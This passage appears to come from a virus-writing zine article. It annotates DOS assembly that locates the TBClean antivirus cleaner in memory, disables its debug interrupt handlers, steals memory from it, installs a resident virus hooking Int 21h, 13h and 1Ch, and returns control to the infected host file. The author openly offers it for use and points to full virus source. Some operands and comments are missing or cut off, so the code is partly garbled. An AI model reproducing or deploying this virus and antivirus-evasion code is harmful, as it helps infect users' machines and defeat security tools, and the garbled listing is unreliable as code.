the bit of data we will be searching for.
====================Somewhere in TBClean.EXE==v6.04===================
1 cs:04A4 33C0 xor ax,ax
2 cs:04A6 8ED8 mov ds,ax
3 cs:04A8 8BF8 mov si,ax
4 cs:04AA BF342D mov di,2D34
5 cs:04AD B90002 mov cx,0200
6 cs:04B0 F3A5 rep movsw
[The above block is coping the vector table (0000:0000) to location
ES:DI (ES:2D34). This value we will need.]
7 cs:04B2 FA cli
8 cs:04B3 C70600005411 mov word ptr ,1154
9 cs:04B9 8C0E0200 mov ,cs
10 cs:04BD C7060400E513 mov word ptr ,13E5
11 cs:04C3 8C0E0600 mov ,cs
12 cs:04C7 C7060C006B15 mov word ptr [000C],156B
13 cs:04CD 8C0E0E00 mov [000E],cs
14 cs:04D1 C70610005411 mov word ptr ,1154
15 cs:04D7 8C0E1200 mov ,cs
16 cs:04DB C70614005411 mov word ptr ,1154
17 cs:04E1 8C0E1600 mov ,cs
18 cs:04E5 C70618005411 mov word ptr ,1154
19 cs:04EB 8C0E1A00 mov [001A],cs
20 cs:04EF C7066C002411 mov word ptr [006C],1124
21 cs:04F5 8C0E6E00 mov [006E],cs
22 cs:04F9 FB sti
[The above block is hooking the vector table. This is were we get our
Int 1h and 3h location.]
23 cs:04FA 8BF0 mov si,ax
24 cs:04FC 8BF8 mov di,ax
25 cs:04FE 2E8E06F032 mov es,cs:[32F0]
26 cs:0503 B90080 mov cx,8000
27 cs:0506 F3A5 rep movsw
[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
the segment which is in location CS:32F0. We will need to get this
location to hook the interrupts.]
===========================END of TBClean=============================
Now, the bellow block will start to search for the above block in memory
where we will scan 64k from the segment we got.
mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0
look_4_TBClean: mov ax,word ptr ds:[si]
[You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
because TBClean will find out what I'm doing and fool around with the
flag and my test will fail! As you can see, we are looking for the bytes
from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
jmp not_found ;not found cont normal
[If A5F3 is found, we continue with the bottom, which will search for more bytes
in that block captured above. These bytes that we are searching for exist
in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
check_it: mov ax,word ptr ds:[si+4]
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+10]
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+12]
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+14]
jne look_again ;jmp =! TBClean
[If all the bytes match, it means we found TBClean in memory, and since we
know where we are, we can steal the Int 1h & 3h locations, like we do
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
the offset because the segment is really DS - 1, so to counter act the segment
we add 16 to the offset. (16 bytes = 1 segment)]
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
[Same is done for Int 3h bellow.]
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
found TBClean, and let's go resident]
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
[The next block gets the segment of where the 2nd copy of the vector table
is hiding (line #25 in TBClean capture)!]
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table
[The next block gets the offset of the 1st copy of the vector table that
TBClean did (line #4 in TBClean capture).]
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table
[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]
not_found: xor dx,dx
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then
[This is the tricky part! Remember TBClean occupies ALL available memory!
So I had to come up with a routine that would work when TBClean was NOT in
memory, and when it was! The task was hard...but I did it (naturally, hehe).
TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
"install_virus" and we get the List of Lists, and we get the FIRST MCB chain
and basically we chain through until we find the END of the MCB chain, which
ends with a "Z" instead of an "M". Once we find the last chain we subtract
the virus size in paragraphs, and that's it...
TBClean in memory: If TBClean is in memory when the virus finds the LAST
MCB block and tries to subtract its size from it, it will notice that
not enough memory is available. Where then will jump to "steal_some."
What "steal_some" does is it will REPEAT the process again. Meaning it will
now get the FIRST MCB chain, and chain through the end, but while its chaining
through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
find the MCB that belongs to TBClean we will subtract the virus size in
paragraphs from it and voila -- we stole and allocated memory while bypassing
TBClean!!! And now we can safely return to TBClean without worrying if it will
de-allocate our memory space.]
;--------- Going Resident ------
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain
mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here
[The bellow block is special! Meaning if the TB flag is on, we will compare
ALL of the MCB block owners to find the one that belongs to TBClean! Since
we already know the segment of TBClean, we subtract 100h (256) bytes and we
have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
we already subtracted 1 from the beginning!]
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,9h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step
mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:,(virus_size/16) + 11h
mov byte ptr es:,'Z' ;the last mcb chain!
sub word ptr es:,(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h
[Now we have some memory! Let's move a copy of the virus into that newly
allocated memory under the TOM!]
push ds ;save TB ds location
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge
[Now we will hook the DOS Vector table (0000:0000->0000:0200).]
mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
[We will test if the TBClean flag is on! If TBClean flag is on, we will make
DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again
[If TBClean was found the bellow block will now hook the last copy of the
vector table that TBClean did...]
go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h+16],offset int21_handler
mov word ptr ds:[si+86h+16],es
mov word ptr ds:[si+70h+16],offset int1c_handler
mov word ptr ds:[si+72h+16],es
mov word ptr ds:[si+4ch+16],offset int13_handler
mov word ptr ds:[si+4eh+16],es
[ALL DONE!!! Now we restore to the original file!
So how does it feel to fool TBClean??? Article #11 contains the complete
source code of the Varicella-][ virus. You may test it as you wish!]
exit_mem: pop ds
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop word ptr cs:[ax_reg][bp] ;save ax else where
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop word ptr cs:[ax_reg][bp]
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.